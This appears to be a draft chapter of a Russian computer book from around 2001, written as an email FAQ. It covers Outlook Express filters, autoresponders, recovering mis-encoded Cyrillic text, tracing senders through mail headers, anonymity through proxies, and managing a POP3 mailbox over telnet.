Получив сообщение a la "Если вы просматривание данное сообщение, то вы поражены злобным вирусом, против которого одно спасение – форматирование жесткого диска с последующим выбрасыванием компьютера из окна" не волнуйтесь – это всего лишь глупая шутка, и никакого вреда от просмотра такого письма нет. Конечно, при условии, что вы не открываете никаких, содержащихся в нем вложений, и не кликаете по ссылкам. Вложения действительно могут содержать вирусы, особенно если они относятся к потенциально опасным типам файлов (см. "Безопасность Какие почтовые вложения безопасны?"), а нажатие на ссылку способно запустить зловредную программу, в том числе и вирусную, или же передать злоумышленнику ваше имя и пароль под которым вы вошли в систему.

В принципе, теоретически возможно заразиться не только чтением письма, но даже его получением с сервера! Но практически же подавляющее большинство вирусов распространяются с помощью самих пользователей, доверчиво запускающих подсунутую им программу.

Родственные вопросы:

Безопасность  Какие почтовые вложения безопасны?

Q:Какие существуют способы заблокировать получение корреспонденции по электронной почте от нежелательных абонентов (закрыть им доступ к использованию конкретного почтового ящика)? Сергей Иванов

Все существующие способы блокировки корреспонденции от нежелательных абонентов делятся на две категории: серверные решения и клиентские.

Серверные решения:

Администратор почтового сервера может запретить прием корреспонденции от определенных лиц и даже целых серверов. Так, некоторые ящики отказываются принимать письма, посланные с бесплатных серверов наподобие , , и подобных им. Мотивация проста – антиспам. Впрочем, такая жесткая мера приносит больше вреда, чем удобства, серьезно ограничивая круг общения пользователей такого ящика.

Если "доставшее" вас лицо шлет свои депеши с одного и того же адреса, попробуйте обратиться за помощью к администратору вашего почтового сервера, передав ему копию одного их писем или сообщив обратный адрес его отправителя. (Если вы только в состоянии определить его самостоятельно – см. "Как установить подлинный адрес отправителя письма?"). По идее администратор (особенно если он к тому же и ваш провайдер) должен пойти навстречу и занести этот адрес в "черный список" фильтра. Намного хуже обстоят дела с бесплатными ящиками – их администраторы довольно прохладно относятся к проблемам своих клиентов и не очень-то легки на подъем. В таком случае приходится прибегать к клиентским решениям…

Клиентские решения

Большинство почтовых клиентов оснащено специальными фильтрами, избавляющими пользователя от нежелательной (с его точки зрения) корреспонденции. В зависимости от гибкости фильтра критерием нежелательности может быть и размер письма (вложения), и адрес отправителя, и его домен, и тема сообщения, и ключевое слово, содержащиеся в его теле, – да все что угодно!

Судьба такого нежеланного сообщения опять-таки зависит от гибкости фильтра и пожеланий пользователя – оно может быть удалено прямо на сервере (актуально для писем неприлично большого размера), помещено в папку "удаленные" или любую другую, назначенную пользователем (актуально для писем от надоедливых собеседников – с одной стороны их послания сохраняются "на всякий пожарный случай", а с другой – не мозолят глаза).

???? Рисунок "карикатура" сидит охотник в засаде и стреляет из двустволки по письмам, летящим в виде уток

Достаточно эффективной мерой против надоедливой рекламы о заработке будет удаление всех сообщений, содержащих в поле "тема" слова "free", "money" и т.д., впрочем, тут самое главное – не переусердствовать! К выбору критерия следует подходить со всей ответственностью и осторожностью: фильтр – оружие слепое, он и полезные сообщения удалит – стоит им случайно попасть под соответствие критерию. Особенно внимательным следует быть при задании шаблона сообщений, автоматически удаляемых с сервера, – ведь в случае ошибки восстановить их уже не удастся. Перемещать нежелательную корреспонденцию в папку "Удаленные" намного безопаснее, но безопасность эта достается дорогой ценой – ведь в этом случае их приходится загружать с сервера, теряя драгоценное (и порой поминутно оплачиваемое) время, и все достоинство фильтра сводится лишь к тому, что нежелательные сообщения не мозолят глаза.

С поиском ключевых слов в теле сообщения связана своя тонкость. Популярный протокол POP3 не поддерживает функции поиска на сервере и эту операцию приходится выполнять на компьютере клиента уже после загрузки сообщения, а загрузка это – время. Поэтому, если возникает такая необходимость, лучше воспользоваться почтовым ящиком, поддерживающим протокол IMAP4, позволяющий искать ключевые слова в сообщении без его загрузки с сервера.

Outlook Express

Чтобы внести неугодного вам адресата в "черный список" достаточно подвести курсор к полученному от него сообщению и в меню "Сообщение" выбрать пункт "Блокировать отправителя". Отныне все письма, полученные от данного лица, будут автоматически перемещаться в папку "Удаленные".

Для отмены блокировки (или просмотра списка блокируемых отправителей) выберите в меню "Сервис" пункт "Правила для сообщений"  "Список блокируемых отправителей". Появится диалоговое окно "черного списка" с интуитивно-понятными кнопками "Добавить", "Удалить", "Изменить".

Кнопка "Добавить" позволяет включать в "черный список" не только отдельные адреса, но и целые домены – стоит лишь указать имя (IP-адрес) почтового сервера, например, , как все, отправленные с его помощью письма, будут автоматически отправляться в папку "Удаленные".

При необходимости задания более гибких критериев воспользуйтесь "Правилами для сообщений" ("Сервис"  "Правила для сообщений"  "Почта"). Появится диалог следующего вида:

1. Выберите условия для данного правила:

Искать сообщения, содержащие адресатов в поле "От:"

Искать сообщения, содержащие заданные слова в поле "Тема:"

Искать сообщения, содержащие заданные слова:

Искать сообщения, содержащие адресатов в поле "Кому:"

Искать сообщения, содержащие адресатов в поле "Копия:"

Искать сообщения, содержащие адресатов в поле "Кому:" и "Копия:"

Искать сообщения с пометкой важности

Искать сообщения, полученные с определенной учетной записи

Искать сообщения, размер которых превышает заданный размер

Искать сообщения с вложениями

Искать безопасные сообщения

Все сообщения

2. Выберите действия для данного правила:

Переместить в заданную папку

Скопировать в заданную папку

Удалить

Переслать адресатам

Выделить цветом

Пометить

Пометить как прочитанное

Пометить сообщение как просмотренное или пропущенное

Ответить заданным сообщением

Прекращение выполнения дополнительных правил

Не загружать с сервера

Удалить с сервера

3. Описание правила (для правки щелкните по подчеркнутой величине)

4. Название правила.

Для создания правила отметьте галочкой соответствующие критерии окна № 1. Например, "Искать сообщения, содержащие адресатов в поле От" и "Искать сообщения, содержащие заданные слова в поле Тема". Затем в окне № 2 выберите желаемую реакцию на получение таких писем. Например, "Удалить". Можно выбрать несколько не взаимоисключающих действий, скажем, "Удалить" и "Ответить заданным сообщением". Действия "Не загружать с сервера" и "Удалить с сервера" исключают все остальные.

В окне № 3 "Описаний Правил" появится текст приблизительного следующего содержания:

Применить данное правило при получении сообщения

Искать сообщения, содержащие адресатов в поле "От:"

и Искать сообщения, содержащие заданные слова в поле "Тема:"

Удалить

и Ответить заданным сообщением

Подчеркнутые строки представляют собой гиперссылки – если подвести к ним мышь и нажать, появится диалог, задающий их свойства. Попробуйте нажать на ссылку "содержащие адреса" и посмотрите, что из этого получится.

На экране появляется диалог "Выбор получателей". Введите один или несколько адресов для занесения их в "черный список", нажимая после каждого адреса кнопку "Добавить", а для удаления, соответственно, – "Удалить". Копка "Параметры" позволяет уточнить следует ли искать письма, содержащие все введенные адреса одновременно или же любой один из них, а может, нужно искать письма, не содержащие ни одного из перечисленных адресов?

Диалог "Ввод ключевых слов" в первом приближении аналогичен предыдущему – только вместо адресов теперь вводятся ключевые слова по одному, а "Параметры" позволяют уточнить – следует ли искать письма, содержащие все эти слова или же только одно из них.

Наконец, ссылка "Сообщение" открывает стандартный диалог открытия файла в котором необходимо указать путь к файлу сообщения, которое будет автоматически посылаться отправителю нежеланного сообщения.

Последняя гиперссылка "и" задает условия совпадения критериев – искать сообщения, содержащие таких-то адресатов и такую-то тему в заголовке, либо же искать сообщения, содержащие таких-то адресатов, или такую-то тему в заголовке.

Последнее, четвертое окно, задает название правила – количество правил не ограничено, но их имена должны отличаться.

Нажатие "ОК" создает фильтр по данному правилу и автоматически включает его в работу. Если же один или более критериев не были указаны, Outlook выделит их красным цветом и обиженно пискнет, заставляя продолжить формирование фильтра.

Для просмотра списка активных и существующих фильтров выберите в меню "Сервис" пункт "Правила для сообщений"  "Список блокируемых отправителей" и перейдите к вкладке "Почта".

Любой фильтр можно применить и к ранее полученным сообщениям – что бывает полезно для очистки папки "Входящие" от накопившегося в ней спаммерского хлама – выберете нужную папку и нажмите "Применить".

Грамотно настроенные фильтры способны разгрузить пользователя от большей части работы по уходу за своими папками и содержанию их в чистоте и порядке. Пусть, к примеру, рассылка от "Городского Кота" помещается в одну папку, сообщения от друзей – в другую, а депеши от Big Boss-a выделяются цветом, дабы не пропустить их среди прочего потока писем… и.д. – ну чем не сказка?

Родственные вопросы:

Как установить подлинный адрес отправителя письма?"

Как удалить сообщение из почтового ящика, не принимая его на свой компьютер?

Q: Можно ли автоматически отвечать людям, что человек (адресат) в командировке и для полного ответа вам придется подождать 1-2 недели Сергей Иванов

Многие почтовые службы, в том числе и бесплатные, поддерживают услугу "Автоответчик" – возможность автоматического ответа на приходящие письма. Это бывает полезно во многих случаях: представьте, уезжаете вы, скажем, в командировку на пару недель, а тем временем вам идут письма, отправители которых гадают – и куда же это их адресат запропастился? Или вот, предположим, Big-Boss захотел, чтобы на каждое полученное на корпоративный ящик письмо в ответ высылался прайс – лист вашей фирмы (каталог производимых изделий) – ситуация, знакомая, правда? Автоответчик, не напрягая секретаря, быстро и дешево выполнит эту работу, пускай и будет действовать вслепую. Впрочем, придать автоответчику некоторые зачатки интеллектуальности помогают грамотно настроенные фильтры (см. ответ на предыдущий вопрос).

Методика управления автоответчиками до сих пор не стандартизирована (и вряд ли будет стандартизирована в обозримом будущем) и каждый из них работает по-своему – за подробностями обращайтесь к администратору вашей почтовой службы.

Рассмотрим для наглядности включение и конфигурирование автоответчика на примере службы mail.ru. Набираем ее адрес в строке браузера – (управление автоответчиком из почтового клиента не поддерживается), вводим свой логин и пароль, а затем, в открывшейся странице переходим к ссылке "Настройки". Так… ждем-с окончания загрузки страницы… среди прочей нечисти находим ссылку "Автоответчик" и щелкаем по ней. Появляется окно управления автоответчиком – с формой для задания автоматического ответа и полями для указания даты включения и выключения автоответчика. Заполнив форму по своему усмотрению, взводим галочку "Включать автоматический ответ" и нажимаем кнопочку "Сохранить".

Все! С этого момента автоответчик включен и готов к работе. Чтобы убедиться в этом, можно послать несколько писем самому себе. Для внепланового же отключения автоответчика до окончания установленного срока, достаточно снова зайти в "Настройки"  "Автоответчик" и снять галочку "Включать автоматический ответ", после чего "Сохранить" изменения.

Рисунок 33 Рис. 0х027 Управление автоответчиком службы

Внимание: отправка письма самому себе вызывает зацикливание некоторых автоответчиков, поскольку они отправляют ответ на свой же адрес, а потом ответ на свой ответ… и так до бесконечности, пока ящик не переполнится и система встанет. Вообще-то, грамотные разработчики должны предусматривать такую тривиальную ситуацию, но некоторые забывают об этом.

Q: Существуют ли вирусы, способные заразить мой компьютер при чтении письма, если я не открываю никаких вложенных файлов? Максим msx@

Такие вирусы на сегодняшний день не известны (во всяком случае, о них не упоминает ни Евгений Касперский, ни остальные разработчики антивирусов), но, тем не менее, принципиальная возможность их создания существует. Вот навскидку несколько доводов:

а) в популярных почтовых клиентах были обнаружены ошибки, приводящие к срыву стека и вытекающей отсюда возможности выполнения кода, переданного злоумышленником (подробнее об этом смотри книгу "Техника сетевых атак" Криса Касперски);

б) для просмотра писем, отправленных в HTML-формате, вызывается браузер, а ни один браузер на сегодняшний день не свободен от ошибок;

Вот два конкретных примера дырок, присутствующих в последней, на момент написания этих строк, пятой версии браузера IE, запущенной под управлением Windows 2000:

а) поддержка "плавающих" форм реализована с ошибкой, позволяющей получить доступ к локальным файлам жертвы;

б) встроенный в письмо файл в форме chm (файл справочной системы Windows) почтовым клиентом Outlock Express 5.01 (и, возможно, другими версий) отображается автоматически, без запросов на подтверждение. А ведь chm-файлы могут содержать команды вызова исполняемых приложений!

Все это может быть использовано для создания вируса, запускающегося при просмотре письме. Однако такое насекомое в любом случае окажется чрезвычайно привередливо к конфигурации жертвы и вряд ли сможет похвастаться масштабами эпидемии.

Родственные вопросы:

Безопасность  Как защитится от вирусов, полученных из Интернет?

Безопасность  Небезопасность электронной почты

Безопасность  Где можно узнать о самых свежих дырках и последних обновлениях приложений?

Безопасность  Какие почтовые вложения безопасны?

Q: Как восстановить письмо, испорченное двойной перекодировкой без помощи подручных средств?

Иногда приходят письма с бессмысленной абракадаброй, некорректно отображающейся во всех кодировках. Что-то наподобие "оПХБЕР, лХП!" в Windows-1251 и "Ноуаеп, Куо!" в KOI 8R. Похоже, сообщение подверглось двойной перекодировке. Как это могло произойти?

Исходный текст был набран в кодировке Windows-1251 и выглядел так: "Привет, Мир!", но сервер по причине своей кривизны ошибочно принял его за KOI-8R и перекодировал в Windows-1251. Получилось "оПХБЕР, лХП!" и в таком виде письмо и было доставлено получателю.

Если в почтовом клиенте сменить кодировку на KOI-8R, то текст исказиться еще больше - "Ноуаеп, Куо!", что неудивительно, т.к. необходимо, наоборот, перекодировать полученное письмо обратно на Windows-1251, но оно уже в Windows-1251, и перекодировать кодировку саму в себя почтовый клиент не может! Для выполнения такой операции существуют специальные программы, но по закону "бутерброда" в нужный момент их может не оказаться под рукой. Что делать?

На помощь приходит сам почтовый клиент. Создаем новое сообщение, выбираем кодировку "KOI-8R", копируем в него исходный текст испорченного письма и… отправляем сообщение самому себе! (В Outlook Express его достаточно поместить в папку "Черновики", что можно сделать нажатием <Ctrl-S> во время редактирования письма). Затем открываем его и выбираем кодировку – "Windows-1251". Если все сделано правильно, должно получиться следующее: "Привет, Мир!"

На практике некоторые письма, в ходе их доставки, могут оказаться перекодированными более двух раз! Соответственно, операцию восстановления придется выполнять столько же раз. Единственная проблема – распознать последовательность кодировок при преобразовании. Опытные пользователи могут распознать ее на глаз, а новичкам, скорее всего, придется довериться методу перебора.

Q: Как установить подлинный адрес отправителя письма?

Обратный адрес заполняется самим отправителем письма и может содержать все, что угодно, или и вовсе не содержать ничего. Часто этим пользуются спаммеры, подставляя в качестве своего адреса адрес ни в чем неповинного человека; конкуренты, отвечающие от имени вашего партнера о разрыве отношений или просто шутники.

??? Рисунок "карикатура" Чел. рассматривает полученное письмо – обратный адрес Америка, тттттт…. Далее он смотрит на штемпель и видит – Россия, Сибирь, деревня Большие Гырыбы

Определить подлинный адрес отправителя в некоторых случаях принципиально невозможно (например, если письмо было послано через анонимайзер), но чаще всего анализ заголовка позволяет пролить свет на его происхождение его отправителя.

Для просмотра содержимого заголовка в программе "Outlook Express" подведите курсор к исследуемому сообщению, и в меню "Файл" выберите пункт "Свойства" (или же нажмите <Alt+Enter>) и на экране появится диалог с приблизительно следующим содержимым:

Return-Path: <listserv@>

Delivered-To: aport-kpnc@

Received: (qmail 69428 invoked from network); 3 Apr 2001 19:22:17 -0000

Received: from ([194.67.18.127]) (envelope-sender <>)

by

for <>; 3 Apr 2001 19:22:17 -0000

Delivered-To: CLUSTERHOSTYLE=" aport-kpnc@

Received: from unknown (HELO ) ([195.122.226.2]) (envelope-sender <listserv@>)

by

Received: (from majordom@localhost) by (8.9.3/Dmiter-4.1-AGK-0.5) id WAA36309; Tue, 3 Apr 2001 22:09:13 +0400 (MSD)

Received: from [195.122.226.40] by (8.9.3/Dmiter-4.1-AGK-0.5) with SMTP id WAA36304 for <general@>; Tue, 3 Apr 2001 22:09:12 +0400 (MSD)

Date: Tue, 3 Apr 2001 22:09:12 +0400 (MSD)

From: "SECURITY.NNOV" <daily@>

Organization:

X-Mailer: 3APA3A news generator 1.0

X-Priority: 3 (Normal)

Message-ID: <10.9.22.03.04.01.general@>

To: General List <general@>

Comments: This message sent to list, send message to list-serv@

with 'unsubscribe general' command to unsubscribe.

Send 'Help' command for additional information.

Mime-Version: 1.0

Content-Type: text/plain; charset=koi8-r

Content-Transfer-Encoding: 8bit

Subject: оПЧПУФЙ 3 БРТЕМС 2001 З.

Sender: listserv@

Precedence: bulk

Reply-To: "SECURITY.NNOV" <daily@>

Moreinfo: e-mail list-serv@ with HELP command

Поля "Received" (в тексте они выделены жирным шрифтом) оставлены промежуточными узлами, через которые прошло письмо, причем самое верхнее их них принадлежит последнему серверу в цепочке, а самое нижнее, как правило, первому (подробнее это объяснено ниже).

Стандарт не оговаривает формат поля "Received" и различные сервера заполняют его по-своему. В общем случае оно должно содержать:

а) адрес самого сервера, получившего письмо;

б) адрес узла, передавшего письмо серверу;

в) дату и время.

Например, содержимое первого сверху поля "Received": "from unknown (HELO adm.sci-nnov.ru) ([195.122.226.2]) (envelope-sender <listserv@security.nnov.ru>) by mail.aport.ru" обозначает следующее: сообщение было получено от (from) неизвестного (unknown) узла, идентифицировавшего себя как (но эта информация может быть поддельной) и обладающего IP-адресом 195.122.226.2 (а вот этому можно поверить – т.к. свой IP адрес подделать нелегко); сообщение принял (by) узел mail.aport.ru (этому тоже можно верить).

Спускаясь вниз по цепочке полей "Received" можно восстановить маршрут доставки письма, в конце - концов узнав IP адрес его отправителя. Однако отправитель мог различными способами замаскировать свой адрес. Например, добавить несколько собственных полей "Received", заполненных им самостоятельно, выдавая тем самым себя за транзитный узел. В таком случае, последнее поле "Received" будет указывать на ни в чем не повинный сервер, не имеющий никого отношения к пересылке.

Гарантированно отличить подложные поля от настоящих невозможно, но, с другой стороны, далеко не всякий злоумышленник способен грамотно подделывать заголовки. Грубая подделка заголовка облегчает выявление фальсифицированных полей. Основные ошибки, по которым узнается подлог, следующие:

а) указанных злоумышленником имен (IP-адресов) серверов вообще не существует в природе;

б) стиль заполнения сервером поля “Received” отличается от используемого злоумышленником;

в) реальное время пересылки писем сервером на порядок ниже (или выше), чем это следует из заголовка письма.

Если отправитель вошел в сеть через модем (как часто и бывает), то, скорее всего, он обладает динамическим IP-адресом и на его компьютере не установлен почтовый сервер. Перебрав все IP-адреса, указанные в полях Received, необходимо найти тот, с которым невозможно установить соединение по протоколу SMTP. Такую проверку можно осуществить с помощью утилиты telnet, вызывая ее следующим образом: "telnet.exe Адрес узла SMTP".

Чаще всего модемные пользователи получают имена в начале которых строит либо их логин (например, ), либо "ppp" (например, ) – сокращение от Point to Point Protocol – протокол, подключения к сети через модем, либо же они вовсе не получают никаких имен. Правая часть имени () содержит домен провайдера, а большинство провайдеров имеют свои web-странички (), посетив которые можно узнать их контактные телефоны или адреса электронной почты для связи. Остается всего лишь связаться и пожаловаться провайдеру на хулиганские выходы его клиента.

Родственные вопросы:

Как послать анонимное сообщение? (следующий)

Q: Как послать анонимное сообщение?

Независимо от способа отправки почты – через web-интерфейс или с помощью своего любимого почтового клиента, в заголовке письма вы оставляете свой IP-адрес, что не есть хорошо. Получатель (или любое лицо, перехватившее письмо), без особого труда сможет узнать вашего провайдера, т.к. сами провайдеры берут IP-адреса отнюдь не с неба, а покупают их и каждая такая сделка в определенном порядке регистрируется. Причем информация кому какой IP принадлежит чаще всего свободно предоставляется всем желающим. Знание провайдера позволяет выявить ваше географическое местоположение, а звонок к нему (или вторжение на его машину без ведома и согласия) – узнать ваши регистрационные данные (имя, фамилию, часто адрес и номер телефона).

Как сохранить свою анонимность? Вариант первый – найти такой почтовый сервер, который бы не запоминал ваш IP-адрес и помещал в заголовок только ту информацию, которую вы сами пожелали сообщить о себе. Чтобы найти такой сервер необходимо, методично перебирая бесплатные (платные) почтовые службы одну из одной, посылать самому себе письма и анализировать их заголовок – определяется ли адрес отправителя или нет (см. "Как установить подлинный адрес отправителя письма?").

Вариант номер два – подключитесь к почтовому ящику через анонимный Proxy-сервер (см. "Интернет. Общие вопросы Что такое Proxy-сервер и как с ним работать?" и " Интернет. Общие вопросы Как заставить работать такое-то приложение через Proxy-сервер?"). В этом случае в заголовок попадет IP-адрес Proxy, а не ваш.

Родственные вопросы:

Как установить подлинный адрес отправителя письма?

Интернет. Общие вопросы  Что такое Proxy-сервер и как с ним работать?

Интернет. Общие вопросы  Как заставить работать такое-то приложение через Proxy-сервер?

Q: Как удалить сообщение из почтового ящика, не принимая его на свой компьютер?

Большинство почтовых программ, в том числе и Outlook Express, удаляют сообщения только после их получения с сервера, но не позволяют сделать это непосредственно (впрочем, можно настроить фильтр см. "Какие существуют способы заблокировать получение корреспонденции по электронной почте от нежелательных абонентов (закрыть им доступ к использованию конкретного почтового ящика)?"). Неудобства такого подхода очевидны – прежде, чем принимать длинное письмо, неплохо бы сначала убедиться в том, что его действительно следует принимать (может, это спам какой). Особенно неприятно дожидаться загрузки длинного, порой в несколько мегабайт, письма, гадая: кто же его послал, и что в нем содержится?

Для предварительного просмотра и удаления корреспонденции с сервера можно воспользоваться утилитой "telnet.exe", входящей в штатную поставку Windows. (см. "Разное Что такое telnet и как с ним работать?") Запустите ее, указав адрес почтового сервера и название почтового протокола в командной строке, например: "telnet.exe mail.ru POP3".

Установив соединение, сервер выдаст приглашение, типа "+OK mPOP POP3 server ready <91648.954065917@>", впрочем, содержание приглашения может быть и другим, но это неважно.

Теперь, воспользовавшись командами "USER" и "PASS", сообщите серверу свое имя и пароль соответственно. Например, так:

USER K.Kaspersky

PASS acs2000wM$

Если имя и пароль введены правильно, сервер сообщит нечто наподобие "+OK Password OK" и откроет доступ к почтовому ящику.

Список всех имеющихся сообщений можно просмотреть командой LIST, результат работы которой должен выглядеть приблизительно так:

>LIST

+OK 4 messages (25626 octets)

1 6078

2 4933

3 4644

4 9971

.

Сервер сообщает количество сообщений в почтовом ящике (в данном случае – 4), их суммарный размер в октетах {>>>> сноска упрощенно один октет можно принять равным одному байту} (25.626) и размер каждого из сообщений по отдельности (6.078, 4.933, 4.644, 9.971).

Получить все сообщение целиком позволяет команда RETR Номер сообщения, а его фрагмент – TOP Номер сообщения Количество строк. Например:

> TOP 4 10

top 4 10

+OK

Return-Path: gluck@

Received: from by for , , ,

, with CCQDP. For more info hac@

Message-Id: <20000306051857_Hk_1100.20000303142308.promo_@funny.anec>

Precedence: special-delivery

Comments: /Citycat E-mail Service.

Date: Mon, 6 Mar 2000 05:18:54 +0300 (MSK)

From: CityCat <namma@>

To: "funny.anec" <null@>

Subject: =?koi8-r?Q?=E1=CE=C5=CB=C4=CF=D4=D9=20?=

=?koi8-r?Q?=E7=CF=D2=CF=C4=D3=CB=CF=C7=CF=20?=

=?koi8-r?Q?=EB=CF=D4=C1?=

MIME-Version: 1.0

Content-Type: text/html; charset=koi8-r

Content-Transfer-Encoding: 8bit

<!--

--*--

-->

<HTML> <HEAD>

<TITLE>є╠╒╓┬┴ Є┴╙╙┘╠╧╦ ч╧╥╧─╙╦╧╟╧ ы╧╘┴</TITLE>

</HEAD>

<body bgcolor=#eeeee0 text=black link=blue alink=red vlink=blue>

<CENTER>

<B><FONT SIZE=+1>

Поле "From" заголовка письма (в тексте оно выделено жирным шрифтом) позволяет узнать обратный адрес отправителя (внимание: обратный адрес отправителя может быть поддельным! подробнее об этом см. "Как установить подлинный адрес отправителя письма?"), а тема сообщения содержится в поле "Subject". Следом за заголовком расположено тело письма, отделенное от него пустой строкой.

Все символы кириллицы закодированы специальным образом, и непосредственно чтение их невозможно. Но в этом может помочь ваш почтовый клиент, например, "Outlook Express". Выполните следующую последовательность действий:

а) в меню "Терминал" приложения "telnet" выберете пункт "Начать протоколирование" и введите имя файла, в который вы желаете сохранить сообщение, принудительно задав расширение ".eml" (в противном случае файл получит расширение ".log"), например, "MyFile.eml";

б) повторно введите команду "TOP Номер сообщения Количество строк" и дождитесь завершения вывода сообщения на экран;

в) в меню "Терминал" приложения "telnet" выберете пункт "Закончить протоколирование";

г) дважды кликните по только что созданному файлу.

Если все сделано правильно, автоматически запустится Outlook Express, отображая это сообщение в удобно читаемом виде (возможно при этом придется вручную выбрать подходящую кодировку в меню "Вид Вид кодировки".

Прочитав сообщение, определите – имеет ли смысл его принимать, если нет – вернитесь в окно telnet и отдайте команду "DELE Номер сообщения" для его удаления.

Удалив все ненужные сообщения, завершите сеанс работы с сервером командой "QUIT". Внимание: если этого не сделать, сервер автоматически восстановит все соединения, удаленные в течение последнего сеанса!

Родственные вопросы:

Разное  Что такое telnet и как с ним работать?

Как установить подлинный адрес отправителя письма?

Какие существуют способы заблокировать получение корреспонденции по электронной почте от нежелательных абонентов (закрыть им доступ к использованию конкретного почтового ящика)?

Q: Как ускорить доставку письма?

Надежность и скорость работы многих почтовых серверов оставляет желать лучшего, - порой письма теряются, застревают на промежуточных узлах и т.д. Между тем, существует возможность доставить письмо напрямую, непосредственно опустив его в почтовый ящик получателя.

Первым делом извлеките из e-mail адреса доменное имя сервера, расположенное справа от символа "собаки". Например, доменное имя сервера адресата "K.Kaspersky@mail.org" – "". Затем, в настройках почтового клиента укажите это имя в качестве сервера исходящей почты. В "Outlook Express" для этого необходимо в меню "Сервис" выбрать пункт "Учетные записи", щелкнуть по кнопке "Добавить", "Почта" и нажать два раза "Далее". Теперь в качестве сервера входящей почты введите любой адрес, а в качестве сервера исходящей почты – доменное имя сервера получателя (в данном примере ); нажмите два раза "Далее" и, наконец, "Готово".

Для ускоренной доставки корреспонденции достаточно выбрать соответствующую учетную запись (учетная запись выбирается при создании письма в поле "От"). Одна учетная запись может обслуживать только пользователей с одного сервера.

Родственные вопросы:

Как обойтись без сервера исходящей почты? (следующий)

Q: Как обойтись без сервера исходящей почты?

Многие бесплатные почтовые службы запрещают рассылку корреспонденции или же накладывают жесткие ограничение на количество отправляемых писем в единицу времени и\или размер письма. Как, не обращаясь к платным почтовым службам, выкрутиться из такой ситуации?

Очень просто – достаточно в качестве сервера исходящей почты указать адрес почтового ящика самого получателя письма! (см. "Как ускорить доставку письма?")

Родственные вопросы:

Как ускорить доставку письма?

Q: Где Outlook Express хранит мои письма ?

Очень актуальный вопрос! Иначе, как прикажете резервировать свою корреспонденцию, если неизвестно где она хранится? Необходимость же резервирования – тема отдельного разговора, но, исходя из самых общих соображений, все ценное обязательно должно регулярно резервироваться!

Местоположение хранимых файлов зависит как от установок самого Outlook Express, так и от версии Windows.

Чтобы узнать где находится та или иная папка, кликните по ней правым мышем и в контекстом меню выберите пункт "Свойства". Строка "Данная папка находится в следующем файле" и содержит путь к этой папке.

Рисунок 34 Рисунок 0х012 Определение пути к папке

По умолчанию принятые следующие значения.

Windows 9x

Вся корреспонденция хранится в директории "\WINDOWS\Application Data\Microsoft\Outlook Express". Все папки Outlook представлены файлами с теми же самыми именами с расширением dbx.

Windows 2000

В Windows 2000 все папки Outlook хранится в директории "\Documents and Settings\Kris Kaspersky\Local Settings\Application Data\Identities\{DFDDC7DC-0E74-49BD-9DE5-3D8E08C6A51F}\Корпорация Майкрософт\Outlook Express", где "Kris Kaspersky" – регистрационное имя пользователя, под которым он зашел в систему.

Внимание: папки Outlook не всегда представлены одноименными файлами!

Замечание: все папки содержат много пустого места и хорошо жмутся, поэтому, перед резервированием целесообразно выполнить их архивацию.

Родственные вопросы:

Где Outlook хранит адресную книгу?

Можно ли восстановить случайно удаленное сообщение?

Я удалил из паки большое количество сообщений, но ее размер не изменился. Почему?

Q:Где Outlook Express хранит адресную книгу?

Адресная книга хранится в файле с расширением wab. На одном компьютере может присутствовать множество адресных книг никак не связанных ни друг с другом, ни с самим Outlook Express. Для их запуска достаточно дважды щелкнуть по файлу левым мышем в "Проводнике" Windows.

Чтобы обнаружить все адресные книги достаточно задать поиск файлов *.wab по всем дискам. По умолчанию адресные книги хранятся в следующих директориях:

Windows 9x

"\WINDOWS\Application Data\Microsoft\Address Book". Имя адресной книги совпадает с именем пользователя.

Windows 2000

"\Documents and Settings\Kris Kaspersky\Application Data\Microsoft\Address Book", где "Kris Kaspersky" – имя пользователя под которым он вошел в систему. Имя адресной книги совпадает с именем пользователя.

Q: Я удалил из паки большое количество сообщений, но ее размер не изменился. Почему? Сергей Иванов

Причина в том, что при удалении сообщений, Outlook Express не удаляет их физически из целевого файла, а только помечает как "удаленные". В противном случае, каждая операция удаления потребовала бы перемещения всего хвоста файла на освободившееся в результате удаления место, что чрезвычайно ухудшило бы производительность.

Такие уничтоженные, но не удаленные сообщения, накапливаясь со временем, увеличивают размер почтового файла до безобразия и возникает естественное желание его уменьшить, выкинув все ненужное.

Для этого в меню "Файл" выберете подменю "Папка", а в ней пункт "Сжать все папки" или "Сжать" только текущую папку. Никакого "сжатия", по крайне мере, в каноническом понимании этого слова, не происходит (парни из Microsoft как всегда не в ладах с терминологией – думают одно, делают другое, а в меню пишут третье), но все сообщения, помеченные как "удаленные", физически удаляются из файла, отчего его размер и вправду уменьшается.

По умолчанию папки самостоятельно сжимаются в фоновом режиме, что может приводить к порче диска при перезагрузках и выключении питания, поэтому сжатие рекомендуется отключить, время от времени выполняя его вручную (см. "С некоторого времени перезагрузки компьютера при запушенном Outlook Express стали приводить к образованию потерянных и пересекающихся кластеров, порче почтовых файлов. Что это такое и как с этим бороться?")

Родственные вопросы:

С некоторого времени перезагрузки компьютера при запушенном Outlook Express стали приводить к образованию потерянных и пересекающихся кластеров, порче почтовых файлов. Что это такое и как с этим бороться? (следующий)

Q: С некоторого времени перезагрузки компьютера при запушенном Outlook Express стали приводить к образованию потерянных и пересекающихся кластеров, порче почтовых файлов. Что это такое и как с этим бороться? Лихачев Николай kk@

Да, существует такая пренеприятнейшая проблема, заставившая многих всерьез усомниться в "стерильности" своего компьютера и живехонько отправится за новым антивирусом. Но виною тому вовсе не вирусы, а сам Outlook (скажи, какой паршивец!). Точнее, его умение сжимать (см. вопрос "Я удалил из паки большое количество сообщений, но ее размер не изменился") собственные папки в фоновом режиме при накоплении такого-то количества помеченных к удалению сообщений.

Сама по себе эта операция очень полезная, но, будучи не вовремя прерваннаяпрерванной, она приводит к очень тяжелым последствиям и лучше ее отключить в превентивном порядке. Для этого в меню "Сервис" выберете пункт "Параметры" и в открывшемся диалоговом окне перейдите к закладке "Обслуживание". Снимите галочку "Сжимать сообщения в фоновом режиме" и перезапустите Outlook Express.

Все! Теперь никакие зависания и перезагрузки вам не страшны!

Рисунок 35 Рисунок 0x013.tif Отключение фонового сжатия папок

Родственные вопросы:

Я удалил из паки большое количество сообщений, но ее размер не изменился {ИЗМЕНИТЬ ШРИФТ НА КУРСИВ}

Q: Можно ли восстановить случайно удаленное сообщение?

Общеизвестно, что при удалении сообщений Outlook Express в действительности их не уничтожает, а перемещает в папку "Удаленные". Но можно восстановить сообщение, удаленное из "Удаленных"?

Штатными средствами – нет и автору не известна ни одна, умеющая это делать, утилита. Но, если со времени удаления сжатие папок не выполнялось и фоновое сжатие отключено (см. ответ на предыдущий вопрос), – стоит попытаться сделать это вручную.

